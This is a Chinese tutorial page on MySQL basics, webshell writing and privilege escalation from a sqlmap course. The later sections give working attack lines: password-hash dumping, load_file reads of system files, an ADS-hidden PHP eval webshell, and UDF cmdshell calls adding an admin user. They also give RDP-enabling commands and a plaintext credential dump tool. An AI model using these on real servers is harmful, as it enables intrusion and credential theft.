zoukankan      html  css  js  c++  java
  • sqlmap从入门到精通-第四章-4-1 MySQL获取webshell及提权基础

    4.1 MySQL获取webshell及提权基础

    4.1.1 MySQL连接

    1. 使用自身客户端工具进行连接

    Windows环境

    mysql.exe -h localhost -uroot -ppassword

    或者

    Linux环境

    mysql -h localhost -uroot -ppassword

    Tips:上面登录过程中密码最好不直接写,输入账户之后按下回车键再输入密码

    2. 使用客户端工具Navicat for MySQL进行连接

    文件-新建连接 在新建连接得窗口输入连接名,主机名或IP地址,端口,用户名,密码 ,然后测试连接没有问题就可以正常连接

    4.1.2 数据库密码操作

    mysql 5.7.6以后的版本将原来的password字段修改为authentication_string ,其加密算法还是原来的加密算法,在安全上进行了极大的加强

    1. 低于5.7.6版本

    mysql -h localhost -u root -p  敲击回车输入密码

    use mysql;

    update user set password=password("xxxeee") where user='root';

    flush privileges; // 刷新数据库

    2. 高于5.7.6版本

    update mysql.user set authentication_string=password('xxooee') where user='root' and Host='localhost';

    select authentication_string from user;

    flush privileges  // 刷新数据库

    3. 查询密码值

    select authentication_string from user;

    4.1.3 数据库操作命令

    1. 数据库基本操作命令

    (1) 显示所有数据库并查询当前使用的数据库

    show databases;

    select database();

    (2) 创建数据库

    create database name;

    (3) 选择数据库

    use databasename;

    (4) 直接删除数据库,无提示

    drop database name;

    (5) 删除数据库前有提示

    mysqladmin drop databasename

    (6) mysqldump备份数据库

    导出整个数据库

    mysqldump -u 用户名 -p --default-character-set=latin1 数据库名 > 导出的文件名(数据库默认编码是latin1)

    mysqldump -u root -p root mysql > mysqlbackup20200620.sql

    注意:备份的名称最好写有意义的,方便日后识别后数据库出问题及时恢复

    导出一个表

    mysqldump -u 用户名 -p 数据库名表名 > 导出的文件名

    mysqldump -u root -p root mysql users > mysql_users.sql

    导出一个数据库结构

    mysqldump -u root -p -d --add-drop-table bmfx_member > /tmp/bmfx_db.sql

    # -d 没有数据 --add-drop-table 在每个create语句之前增加一个drop table

    (7) 恢复数据库

    常使用source命令

    use bmfx;

    source bmfx_db.sql

    使用mysqldump命令

    mysqldump -u username -p dbname < filename.sql

    使用mysql命令

    mysql -u username -p -D dbname < filename.sql

    2. 操作表相关命令

    (1) 使用mysql数据库

    use mysql;

    (2) 显示mysql库里面的所有表

    show tables;

    (3) 显示具体的表结构

    describe mysql.user;

    show columns from mysql.user;

    desc mysql.user

    (4) 创建表

    create table mybmfx(

    id int(4) not null primary key auto_increment,

    name char(20) not null,

    sex int(4) not null default '0',

    degree double(18,2));

    (5) 删除表

    drop table <表名>;

    删除表,执行后将直接删除该数据库中的表,执行该命令一定要谨慎,MyISAM类型的表删除后无法恢复,Innodb表还有可能恢复

    drop mybmfx;

    (6) 插入数据

    INSERT INTO insert_table (datetime, uid, content, type)

    VALUES (‘1’, ‘userid_1’, ‘content_1’, 1);

    https://www.runoob.com/mysql/mysql-insert-query.html

    (7) 查询表中的数据

    select * from tablename;

    查询前几行的数据

    select * from tablename order by id limit 0, n;

    (8) 删除表中的数据

    delete from tablename where expr = value; // 删除满足某一个条件的值

    delete from bmfx; //删除表中的所有数据

    (9) 修改表中的数据

    update 表名 set 字段=新值, .... where 条件

    (10) 在表中增加字段

    alter table 表名 add字段类型其他:

    (11) 更改表名

    rename table 原表名 to 新表名

    (12) 用文本方式将数据装入数据库表中(如: /opt/data/mysql.txt)

    load data local infile "/opt/data/mysql.txt" into table mybmfx;

    3. 常用得内置函数

    select system_user(); 查看系统用户

    select current_user(); 查询当前用户

    select user(); 查询用户

    select version(); 查询数据库版本

    select database(); 查询当前连接得数据库

    select @@version_compile_os; 查询当前操作系统

    select now(); 显示当前时间

    4.1.4 MySQL提权必备条件

    1. 服务器安装MySQL数据库

    利用MySQL提权的前提就是服务器安装了MySQL数据库,且MySQL的服务没有降权,MySQL数据库默认安装以系统权限继承的,并且需要获取MySQL的账号和密码

    2. 判断MySQL服务运行权限

    (1) 通过查看系统账号,比如:net user 如果是mysql类的账号 ,则有可能降权了

    (2) 通过查看mysqld运行的Priority值,如果mysqld的Priority值也为8那么mysql就是以system权限运行

    (3) 查看端口是否可外联,一般情况下是不允许root账号外联的

    4.1.5 MySQL密码获取与破解

    1. 获取网站数据库账号和密码

    (1) 对于CMS系统,一定会有一个文件定义了数据库连接的用户和密码,查看各种默认配置文件;

    (2) 对于Linux操作系统,除了上面的方法之外,还可以查看 /root/.mysql_history , /root/.bash_history

    2. 获取MySQL数据库user表

    一般是在数据库的安装目录下,有个data目录,里面还哪有3个文件 user.frm, user.myd和user.myi, mysql数据库用户密码都是保存在user.myd文件中,包括其他用户的密码也在里面,在有权限的情况下将这3个文件导出到本地,通过本地的mysql环境读取user表中的数据,也可以通过文本编辑器将user.myd打开,将root账号密码丢到cmd5破解

    3. MySQL密码查询

    通过以下查询语句直接查询MySQL数据库中的所有用户和密码

    select user,password from mysql.user;

    select user,password from mysql.user where user = 'root';

    4. MySQL密码加密算法

    根据加密算法来识别账号密码

    select password('123456'), concat('*', sha1(unhex(sha1('123456'))));

    4.1.6 MySQL获取webshell

    1. 知道站点的物理路径

    2. 有足够大的权限

    3. magic_quotes_gpc()=off 不转义

    4. 高版本的MySQL新加的特性是限制文件写入,对于参数是 secure_file_priv

    4. 直接导出webshell或者创建表导出webshell

    5. Windows 2008环境下使用SQLTOOLS工具写webshell

    参考:https://www.cnblogs.com/hackxf/p/8975501.html

    4.1.7 MySQL渗透技巧总结

    1. 常见的有助于渗透到MySQL的函数

    database(), user(), system_user(), session_user(), current_user(), load_file()

    (1) 一些常见的系统配置文件如下:

    https://www.jozxing.cc/archives/387

    (2) 直接读取配置文件

    select load_file('/etc/password')

    select load_file('/etc/issues')

    select load_file('/etc/rc.local')

    select load_file('/usr/local/apache/conf/httpd.conf')

    select load_file('/etc/nginx/nginx.conf')

    (3) Linux下通过load_file 函数出来的数据库可能是hex编码,如果需要正常查看,就需要使用Notepad++将以上代码全部选中,然后选择插件"Converter

    " --> "Hex-ASCII" 进行转换

    2. Windows下MySQL提权时无法创建目录解决办法及数据流隐藏webshell

    NTFS中的ADS(交换数据流)可以建立目录,隐藏webshell等操作

    (1) MySQL创建目录

    MySQL 版本较高的情况下自定义函数的dll或者so文件要放在MySQL目录下的libplugin下面,一般普通的脚本是没有在这个文件夹下创建文件夹权限的,那么这里可以用ADS来突破:

    select 'xxsswwoo' into oufile 'F:\mysql\lib::$INDEX_ALLOCATION';

    此时会在MySQL目录下生成一个lib目录,这样就可以将UDF放在这个插件目录下了。

    (2) 隐藏webshell

    在服务器上echo一个数据流文件进去,如index.php 是网页正常文件,执行命令:

    echo ^<?php @eval(request[xxssoo])? ^>> index.php;a.jpg

    3. 有用的一些技巧

    (1) 3389端口命令行下获取总结

    netstat -ano | findstr 3389  或者 netstat -ano | find "3389"

    tasklit /svc | find "TermService" 查看TermService对应的pid号是3352

    netstat -ano | find 3352

    (2) Windows 2008 Server命令开启3389端口

    wmic /namespace: ootcimv2 erminalservices path

    win32_terminalservicesetting where (__CLASS != “”) call

    setallowtsconnections 1

    wmic /namespace: ootcimv2 erminalservices path

    win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call

    setuserauthenticationrequired 1

    reg add “HKLMSYSTEMCurrentControlSetControlTerminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

    参考:

    https://www.zhihu.com/question/58674236/answer/161702330

    https://www.jianshu.com/p/8e7d2f78f5e1

    (3) wce64 -w 命令直接获取系统明文登录密码

    (4) 在phpinfo中查找script_filename关键字获取真实路径

    (5) Linux终端提示符下查看MySQL有关信息

    ps -ef | grep mysql

    (6) Linux下启动Mysql服务

    /etc/init.d/mysqld start

    (7) Linux下查看是mysqld是否启动

    ps -ef | grep mysqld

    (8) 查看mysql在哪里

    whereis mysql

    (9) 查看运行文件所在的路径

    which mysql

    (10) udf.dll提权常见函数

    cmdshell : 执行cmd

    downloader : 下载者

    open3389 : 通用开3389程序

    backshell : 反弹shell

    ProcessView : 列举系统进程

    KillProcess : 终止指定进程

    regread : 读注册表

    regwrite : 写注册表

    shut : 关机,注销,重启

    about: 说明与帮助函数

    示例:

    select cmdshell('net user bmfx bmfx1234!@#@ /add');

    select cmdshell('net localgroup administrators bmfx /add');

    select cmdshell('regedit /s d:/web3389.reg');

    select cmdshell('netstat -ano');


     
  • 相关阅读:
    正确显示textarea中输入的回车和空格
    HmacSHA256算法(C# 和 Java)
    Java RSA分段加密
    穿越古代我能做啥?
    DOS常用命令
    C#泛型学习
    一步一步搭建Nuget私服
    深入理解HTTP协议
    PowerDesigner设置code和name不联动的方法
    log4net通过代码控制按分类输出
  • 原文地址:https://www.cnblogs.com/autopwn/p/13177523.html
Copyright © 2011-2022 走看看